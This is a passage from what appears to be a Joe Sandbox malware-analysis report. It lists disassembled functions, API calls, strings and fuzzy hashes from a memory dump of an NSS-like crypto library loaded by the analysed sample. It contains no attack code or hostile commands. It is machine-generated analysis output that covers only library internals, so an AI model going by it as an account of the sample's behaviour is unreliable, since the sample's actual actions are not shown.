PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C7E4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7E4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C7E21C2,?,?,?), ref: 6C7E499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C7E49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7E49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E49E9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: 5b51ec99b1654c588e273dbf3bed6f5c7503c90d94eb5d767cb795779561aae4
Instruction ID: 1fa70b9e9cda329c3a4f9a87f9e853bd2274e8291b36a9917c8b4555994b152c
Opcode Fuzzy Hash: 5b51ec99b1654c588e273dbf3bed6f5c7503c90d94eb5d767cb795779561aae4
Instruction Fuzzy Hash: 70A1E7B7E01204ABEF108AE9DE84BAE7B65AB4D31CF244135E905B7B81E731D844D7A1

Function 6C7C8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8E9E
PORT_ArenaAlloc_Util.NSS3(6C8D0B64,00000001,?,?,?,?,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C7C8E01,00000000,6C7C9060,6C8D0B64), ref: 6C7C8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C7C8E01), ref: 6C7C8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C8D0B64,6C8D0B64), ref: 6C7C8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C7C8F3F

Part of subcall function 6C7CA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C7CA421,00000000,00000000,6C7C9826), ref: 6C7CA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C7C8E76

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: d0a68b3237fe275601ed312b001ca322e26939ea0db2aa6a69984eaa2fbd7d29
Instruction ID: 82b4ae10bf9c99f21efd98fc06fcf75ea4ec588cc5fd836be3b493d95f4a80cc
Opcode Fuzzy Hash: d0a68b3237fe275601ed312b001ca322e26939ea0db2aa6a69984eaa2fbd7d29
Instruction Fuzzy Hash: F161ACB5E0120AAFDB10CF55CE80AABB7B9EF94358F144538DC18A7B00E731E955CBA1

Function 6C778E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C778E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C778E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C778EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8A18D0,?), ref: 6C778F03
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C778F19
PL_FreeArenaPool.NSS3(?), ref: 6C778F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C778F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C778F65
PL_FinishArenaPool.NSS3(?), ref: 6C778FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C778FFE
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C779012
PL_FreeArenaPool.NSS3(?), ref: 6C779024
PL_FinishArenaPool.NSS3(?), ref: 6C77902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C77903E

Strings

security, xrefs: 6C778EE7

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 9d81ae068b6563fe48dc988b5cdde47f41d102abdb7d0b4f1259771fb5c9256f
Instruction ID: 6cb2bf503867ded2281200304f10dbf1a2b2bdd9883991ff76bca0b1bb71cb97
Opcode Fuzzy Hash: 9d81ae068b6563fe48dc988b5cdde47f41d102abdb7d0b4f1259771fb5c9256f
Instruction Fuzzy Hash: 89514A71608204ABDB305A58DF49FAB37A8AB8675CF45083EF455A7B40D771E908C7A3

Function 6C7A4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C7A4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A4EC7

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C7A4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C7A4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C7A4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C7A4F68

Strings

ulCount = %d, xrefs: 6C7A4F63
hObject = 0x%x, xrefs: 6C7A4EF5, 6C7A4F05
pTemplate = 0x%p, xrefs: 6C7A4F4A
C_GetAttributeValue, xrefs: 6C7A4E7E
hSession = 0x%x, xrefs: 6C7A4EA2, 6C7A4EB2
(CK_INVALID_HANDLE), xrefs: 6C7A4EC0, 6C7A4F13

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: d11c6b2b8f779a869b5f8764835bcce03363dcfa2fd1b2be586aaf6653e6225e
Instruction ID: eb5d7e591c1abf3e4ff91e78d27b30943b75bb2dfa76bd84ccd9e7ab929c6c4f
Opcode Fuzzy Hash: d11c6b2b8f779a869b5f8764835bcce03363dcfa2fd1b2be586aaf6653e6225e
Instruction Fuzzy Hash: 5F41E335602104ABDB209F98DF4CF9A77B5EB4631DF089835E80857B12DB35BD0ADBA1

Function 6C7A4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C7A4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A4D37

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C7A4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C7A4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C7A4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C7A4E20

Strings

hObject = 0x%x, xrefs: 6C7A4D65, 6C7A4D75
pulSize = 0x%p, xrefs: 6C7A4DB7
hSession = 0x%x, xrefs: 6C7A4D12, 6C7A4D22
*pulSize = 0x%x, xrefs: 6C7A4E1B
(CK_INVALID_HANDLE), xrefs: 6C7A4D30, 6C7A4D83
C_GetObjectSize, xrefs: 6C7A4CEE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: e7bb931f9b4356c09efd39c2b8af564d6a2924177f5cbc88cec5bbada6506c2a
Instruction ID: f59eb13f13c76fc55927f1081b007e23a74c06f73c0d56342d509d698f3e0e2b
Opcode Fuzzy Hash: e7bb931f9b4356c09efd39c2b8af564d6a2924177f5cbc88cec5bbada6506c2a
Instruction Fuzzy Hash: 6F41F831601104AFDB208B94DF8DF6A7775EB4631DF048935E9085BB12DB36BC09D791

Function 6C7A2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C7A2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A2F63

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C7A2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C7A2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C7A2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C7A2FE7

Strings

ulNewLen = %d, xrefs: 6C7A2FE2
C_SetPIN, xrefs: 6C7A2F21
ulOldLen = %d, xrefs: 6C7A2FB0
hSession = 0x%x, xrefs: 6C7A2F3E, 6C7A2F4E
(CK_INVALID_HANDLE), xrefs: 6C7A2F5C
pNewPin = 0x%p, xrefs: 6C7A2FC9
pOldPin = 0x%p, xrefs: 6C7A2F95

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 47b768b44927e9d6c121cb5c0a6d552c5ba272305c98d09644894273daeff468
Instruction ID: 8d5afb632fc2df0e8a4309bbd4b11b99a74c521681291e652a9b0b1a17565622
Opcode Fuzzy Hash: 47b768b44927e9d6c121cb5c0a6d552c5ba272305c98d09644894273daeff468
Instruction Fuzzy Hash: C831D235602154ABCB209F99CF4CE5A77B1EB4A31DF048535E808A7B12DB34BC09CBD1

Function 6C7727F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

CERT_GetCommonName.NSS3(?), ref: 6C772801
CERT_GetOrgUnitName.NSS3(?), ref: 6C772810
CERT_GetOrgName.NSS3(?), ref: 6C772821
PR_smprintf.NSS3(6C8AAAF9,?), ref: 6C772869
PR_smprintf.NSS3(%s - %s #%d,00000000,?,00000002), ref: 6C77287D
PR_smprintf.NSS3(%s #%d,?,00000001), ref: 6C772890
CERT_FindCertByNickname.NSS3(?,00000000), ref: 6C7728A8
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7728B5
free.MOZGLUE(00000000), ref: 6C7728BE
free.MOZGLUE(00000000), ref: 6C7728D2
free.MOZGLUE(?), ref: 6C7728E3
PORT_Strdup_Util.NSS3(Unknown CA), ref: 6C772905

Strings

%s - %s #%d, xrefs: 6C772878
%s - %s, xrefs: 6C772855
Unknown CA, xrefs: 6C772900

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: NameR_smprintffree$CertCertificateCommonDestroyFindNicknameStrdup_UnitUtil
String ID: %s - %s$%s - %s #%d$Unknown CA
API String ID: 778386754-45099391
Opcode ID: 86c8d14b8765c118aaf796cadea15ebfd78489e3296cead31a454ff064e99052
Instruction ID: e73e1d8ad49b0848d4c382254d77d01f0f9b52a98fa4c0d2f550ee2f703cb736
Opcode Fuzzy Hash: 86c8d14b8765c118aaf796cadea15ebfd78489e3296cead31a454ff064e99052
Instruction Fuzzy Hash: 7431DBF2E0121AA7EF305BA65F4CADB7668AF1534CF180534E92992B01F723D51992F3

Function 6C83CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C83CC7B), ref: 6C83CD7A

Part of subcall function 6C83CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C7AC1A8,?), ref: 6C83CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C83CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C83CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C83CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C83CD8E

Part of subcall function 6C7605C0: PR_EnterMonitor.NSS3 ref: 6C7605D1
Part of subcall function 6C7605C0: PR_ExitMonitor.NSS3 ref: 6C7605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C83CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C83CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C83CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C83CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C83CE48

Strings

wship6.dll, xrefs: 6C83CDE3
ws2_32.dll, xrefs: 6C83CD75
getnameinfo, xrefs: 6C83CDB2, 6C83CE23
freeaddrinfo, xrefs: 6C83CD9F, 6C83CE10
getaddrinfo, xrefs: 6C83CD88, 6C83CDF9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: e258a63189f96e4154e8f37dc9ed063072da3045cb337dc15e230a8b019999f7
Instruction ID: af849f89bd16e9b2b368414adff6a1678242f668c37f7a19fcd3f7a5c5c82179
Opcode Fuzzy Hash: e258a63189f96e4154e8f37dc9ed063072da3045cb337dc15e230a8b019999f7
Instruction Fuzzy Hash: D111A5E5E0213112DB3166FA7E089AA38585F0225DF146E39F81992F43FB15D905C7E6

Function 6C7EE520 Relevance: 26.0, APIs: 17, Instructions: 464COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD014,00000000), ref: 6C7EE660
memcpy.VCRUNTIME140(?,?,?), ref: 6C7EE831
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C7EE919
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7EE92D
TlsGetValue.KERNEL32 ref: 6C7EE97D
TlsGetValue.KERNEL32 ref: 6C7EEA61
PR_EnterMonitor.NSS3(?), ref: 6C7EE545

Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390AB
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390C9
Part of subcall function 6C839090: EnterCriticalSection.KERNEL32 ref: 6C8390E5
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C839116
Part of subcall function 6C839090: LeaveCriticalSection.KERNEL32 ref: 6C83913F

PK11_DestroyContext.NSS3(?,00000001), ref: 6C7EE58D
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7EE5AF
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7EE5D1
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7EE5F3
PR_ExitMonitor.NSS3(?), ref: 6C7EE69B
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6C7EE6A6
PR_EnterMonitor.NSS3(?), ref: 6C7EEAD6
PR_ExitMonitor.NSS3(?), ref: 6C7EEAF9
TlsGetValue.KERNEL32 ref: 6C7EEB18
PR_ExitMonitor.NSS3(?), ref: 6C7EEB54

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$Monitor$ContextDestroyErrorK11_$EnterExit$CriticalSectioncalloc$Leavememcpy
String ID:
API String ID: 2607692351-0
Opcode ID: d5b793ebe173cd93f359ed64b26b836f95f7ccb4389eee614addb67844abba08
Instruction ID: 75495b755b795c8945bdddc16ded0a2890626bf5666db0e64d80640ed557a283
Opcode Fuzzy Hash: d5b793ebe173cd93f359ed64b26b836f95f7ccb4389eee614addb67844abba08
Instruction Fuzzy Hash: 4D023E72A002188BEB109F29C9487AE77B1BF4930CF148979E8584FBD2E736D946C7D5

Function 6C7B4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6C7B4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B471C
TlsGetValue.KERNEL32 ref: 6C7B477C
EnterCriticalSection.KERNEL32(?), ref: 6C7B479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7B484A
PK11_FreeSymKey.NSS3(?), ref: 6C7B4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B486A
PR_Unlock.NSS3(?), ref: 6C7B487E

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

PK11_FreeSymKey.NSS3(?), ref: 6C7B488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B489C
PK11_GetInternalSlot.NSS3 ref: 6C7B48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6C797F9D), ref: 6C7B48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7B492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B4949
PR_SetError.NSS3(00000000,00000000), ref: 6C7B4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B499B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 2d3902dc39d70b7eedac9c8ab1d4194ac0b6ee8875c218c5ac194ae3d03b081b
Instruction ID: be2d06d419bad8defece355d8503ea05fddee6c9b41df71794ec7afdd56b6826
Opcode Fuzzy Hash: 2d3902dc39d70b7eedac9c8ab1d4194ac0b6ee8875c218c5ac194ae3d03b081b
Instruction Fuzzy Hash: 3EE17A75D002599FDB20CF28CD48BAEBBB5EF04308F1481A9E819A7751E7729A94DF90

Function 6C7E0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,~l), ref: 6C7E0C81

Part of subcall function 6C7CBE30: SECOID_FindOID_Util.NSS3(6C78311B,00000000,?,6C78311B,?), ref: 6C7CBE44

Part of subcall function 6C7B8500: SECOID_GetAlgorithmTag_Util.NSS3(6C7B95DC,00000000,00000000,00000000,?,6C7B95DC,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E0CC4

